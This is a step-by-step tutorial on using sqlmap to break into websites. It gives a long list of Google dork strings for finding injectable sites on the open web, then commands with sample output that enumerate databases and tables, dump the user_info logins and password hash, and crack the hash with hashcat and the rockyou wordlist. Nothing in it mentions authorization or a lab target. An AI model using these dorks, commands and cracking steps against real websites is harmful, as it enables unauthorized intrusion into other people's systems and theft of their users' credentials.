Use SQLMAP SQL Injection to hack a website and database in Kali Linux
What is SQLMAP
Features
- Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB database management systems.
- Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band.
- Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.
- Support to enumerate users, password hashes, privileges, roles, databases, tables and columns.
- Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
- Support to dump database tables entirely, a range of entries or specific columns as per user’s choice. The user can also choose to dump only a range of characters from each column’s entry.
- Support to search for specific database names, specific tables across all databases or specific columns across all databases’ tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns’ names contain string like name and pass.
- Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
- Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
- Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user’s choice.
- Support for database process’ user privilege escalation via Metasploit’s Meterpreter getsystem command.
- What is SQLMAP
- Step 1: Find a Vulnerable Website
- Step 2: List DBMS databases using SQLMAP SQL Injection
- Step 3: List tables of target database using SQLMAP SQL Injection
- Step 4: List columns on target table of selected database using SQLMAP SQL Injection
- Step 5: List usernames from target columns of target table of selected database using SQLMAP SQL Injection
- Step 6: Extract password from target columns of target table of selected database using SQLMAP SQL Injection
- Step 7: Cracking password
- Conclusion
Step 1: Find a Vulnerable Website
Step 1.a: Google Dorks strings to find Vulnerable SQLMAP SQL injectable website
Google Dork string Column 1 | Google Dork string Column 2 | Google Dork string Column 3 |
---|---|---|
inurl:item_id= | inurl:review.php?id= | inurl:hosting_info.php?id= |
inurl:newsid= | inurl:iniziativa.php?in= | inurl:gallery.php?id= |
inurl:trainers.php?id= | inurl:curriculum.php?id= | inurl:rub.php?idr= |
inurl:news-full.php?id= | inurl:labels.php?id= | inurl:view_faq.php?id= |
inurl:news_display.php?getid= | inurl:story.php?id= | inurl:artikelinfo.php?id= |
inurl:index2.php?option= | inurl:look.php?ID= | inurl:detail.php?ID= |
inurl:readnews.php?id= | inurl:newsone.php?id= | inurl:index.php?= |
inurl:top10.php?cat= | inurl:aboutbook.php?id= | inurl:profile_view.php?id= |
inurl:newsone.php?id= | inurl:material.php?id= | inurl:category.php?id= |
inurl:event.php?id= | inurl:opinions.php?id= | inurl:publications.php?id= |
inurl:product-item.php?id= | inurl:announce.php?id= | inurl:fellows.php?id= |
inurl:sql.php?id= | inurl:rub.php?idr= | inurl:downloads_info.php?id= |
inurl:index.php?catid= | inurl:galeri_info.php?l= | inurl:prod_info.php?id= |
inurl:news.php?catid= | inurl:tekst.php?idt= | inurl:shop.php?do=part&id= |
inurl:index.php?id= | inurl:newscat.php?id= | inurl:productinfo.php?id= |
inurl:news.php?id= | inurl:newsticker_info.php?idn= | inurl:collectionitem.php?id= |
inurl:index.php?id= | inurl:rubrika.php?idr= | inurl:band_info.php?id= |
inurl:trainers.php?id= | inurl:rubp.php?idr= | inurl:product.php?id= |
inurl:buy.php?category= | inurl:offer.php?idf= | inurl:releases.php?id= |
inurl:article.php?ID= | inurl:art.php?idm= | inurl:ray.php?id= |
inurl:play_old.php?id= | inurl:title.php?id= | inurl:produit.php?id= |
inurl:declaration_more.php?decl_id= | inurl:news_view.php?id= | inurl:pop.php?id= |
inurl:pageid= | inurl:select_biblio.php?id= | inurl:shopping.php?id= |
inurl:games.php?id= | inurl:humor.php?id= | inurl:productdetail.php?id= |
inurl:page.php?file= | inurl:aboutbook.php?id= | inurl:post.php?id= |
inurl:newsDetail.php?id= | inurl:ogl_inet.php?ogl_id= | inurl:viewshowdetail.php?id= |
inurl:gallery.php?id= | inurl:fiche_spectacle.php?id= | inurl:clubpage.php?id= |
inurl:article.php?id= | inurl:communique_detail.php?id= | inurl:memberInfo.php?id= |
inurl:show.php?id= | inurl:sem.php3?id= | inurl:section.php?id= |
inurl:staff_id= | inurl:kategorie.php4?id= | inurl:theme.php?id= |
inurl:newsitem.php?num= | inurl:news.php?id= | inurl:page.php?id= |
inurl:readnews.php?id= | inurl:index.php?id= | inurl:shredder-categories.php?id= |
inurl:top10.php?cat= | inurl:faq2.php?id= | inurl:tradeCategory.php?id= |
inurl:historialeer.php?num= | inurl:show_an.php?id= | inurl:product_ranges_view.php?ID= |
inurl:reagir.php?num= | inurl:preview.php?id= | inurl:shop_category.php?id= |
inurl:Stray-Questions-View.php?num= | inurl:loadpsb.php?id= | inurl:transcript.php?id= |
inurl:forum_bds.php?num= | inurl:opinions.php?id= | inurl:channel_id= |
inurl:game.php?id= | inurl:spr.php?id= | inurl:aboutbook.php?id= |
inurl:view_product.php?id= | inurl:pages.php?id= | inurl:preview.php?id= |
inurl:newsone.php?id= | inurl:announce.php?id= | inurl:loadpsb.php?id= |
inurl:sw_comment.php?id= | inurl:clanek.php4?id= | inurl:pages.php?id= |
inurl:news.php?id= | inurl:participant.php?id= | |
inurl:avd_start.php?avd= | inurl:download.php?id= | |
inurl:event.php?id= | inurl:main.php?id= | |
inurl:product-item.php?id= | inurl:review.php?id= | |
inurl:sql.php?id= | inurl:chappies.php?id= | |
inurl:material.php?id= | inurl:read.php?id= | |
inurl:clanek.php4?id= | inurl:prod_detail.php?id= | |
inurl:announce.php?id= | inurl:viewphoto.php?id= | |
inurl:chappies.php?id= | inurl:article.php?id= | |
inurl:read.php?id= | inurl:person.php?id= | |
inurl:viewapp.php?id= | inurl:productinfo.php?id= | |
inurl:viewphoto.php?id= | inurl:showimg.php?id= | |
inurl:rub.php?idr= | inurl:view.php?id= | |
inurl:galeri_info.php?l= | inurl:website.php?id= |
Step 1.b: Initial check to confirm if website is vulnerable to SQLMAP SQL Injection
inurl:item_id=
and one of the search result shows a website like this:http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15
'
at the end of the URL. (Just to ensure, "
is a double quotation mark and '
is a single quotation mark).http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15'
Microsoft SQL Server
Server Error in ‘/’ Application. Unclosed quotation mark before the character string ‘attack;’.
Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string ‘attack;’.
MySQL Errors
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/myawesomestore.com/buystuff.php on line 12
Error: You have an error in your SQL syntax: check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 12
Oracle Errors
java.sql.SQLException: ORA-00933: SQL command not properly ended at oracle.jdbc.dbaaccess.DBError.throwSqlException(DBError.java:180) at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)
Error: SQLExceptionjava.sql.SQLException: ORA-01756: quoted string not properly terminated
PostgreSQL Errors
Query failed: ERROR: unterminated quoted string at or near “‘’’”
Step 2: List DBMS databases using SQLMAP SQL Injection
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 --dbs
sqlmap
= Name of sqlmap binary file-u
= Target URL (e.g. “http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15″)--dbs
= Enumerate DBMS databasesweb application technology: Apache back-end DBMS: MySQL 5.0 [10:55:53] [INFO] retrieved: information_schema [10:55:56] [INFO] retrieved: sqldummywebsite [10:55:56] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.sqldummywebsite.com'
information_schema
is a standard database for almost every MYSQL database. So our interest would be on sqldummywebsite
database.Step 3: List tables of target database using SQLMAP SQL Injection
sqldummywebsite
database got and what are their names. To find out that information, use the following command:sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite --tables
[10:56:20] [INFO] fetching tables for database: 'sqldummywebsite' [10:56:22] [INFO] heuristics detected web page charset 'ISO-8859-2' [10:56:22] [INFO] the SQL query used returns 8 entries [10:56:25] [INFO] retrieved: item [10:56:27] [INFO] retrieved: link [10:56:30] [INFO] retrieved: other [10:56:32] [INFO] retrieved: picture [10:56:34] [INFO] retrieved: picture_tag [10:56:37] [INFO] retrieved: popular_picture [10:56:39] [INFO] retrieved: popular_tag [10:56:42] [INFO] retrieved: user_info
user_info
table using SQLMAP SQL Injection as that table probably contains username and passwords.Step 4: List columns on target table of selected database using SQLMAP SQL Injection
user_info
of sqldummywebsite
database using SQLMAP SQL Injection. SQLMAP SQL Injection makes it really easy, run the following command:sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info --columns
user_info
of sqldummywebsite
database.[10:57:16] [INFO] fetching columns for table 'user_info' in database 'sqldummywebsite' [10:57:18] [INFO] heuristics detected web page charset 'ISO-8859-2' [10:57:18] [INFO] the SQL query used returns 5 entries [10:57:20] [INFO] retrieved: user_id [10:57:22] [INFO] retrieved: int(10) unsigned [10:57:25] [INFO] retrieved: user_login [10:57:27] [INFO] retrieved: varchar(45) [10:57:32] [INFO] retrieved: user_password [10:57:34] [INFO] retrieved: varchar(255) [10:57:37] [INFO] retrieved: unique_id [10:57:39] [INFO] retrieved: varchar(255) [10:57:41] [INFO] retrieved: record_status [10:57:43] [INFO] retrieved: tinyint(4)
user_login
and user_password
.Step 5: List usernames from target columns of target table of selected database using SQLMAP SQL Injection
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_login --dump
[10:58:39] [INFO] retrieved: userX [10:58:40] [INFO] analyzing table dump for possible password hashes
Step 6: Extract password from target columns of target table of selected database using SQLMAP SQL Injection
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump
[10:59:15] [INFO] the SQL query used returns 1 entries [10:59:17] [INFO] retrieved: 24iYBc17xK0e. [10:59:18] [INFO] analyzing table dump for possible password hashes Database: sqldummywebsite Table: user_info [1 entry] +---------------+ | user_password | +---------------+ | 24iYBc17xK0e. | +---------------+
Step 7: Cracking password
24iYBc17xK0e.
. How do you know what type of hash is that?Step 7.a: Identify Hash type
hash-identifier
Step 7.b: Crack HASH using cudahashcat
cudahashcat --help | grep DES
24iYBc17xK0e.
in DES.hash
file. Following is the command I am running:cudahashcat -m 1500 -a 0 /root/sql/DES.hash /root/sql/rockyou.txt
24iYBc17xK0e.:abc123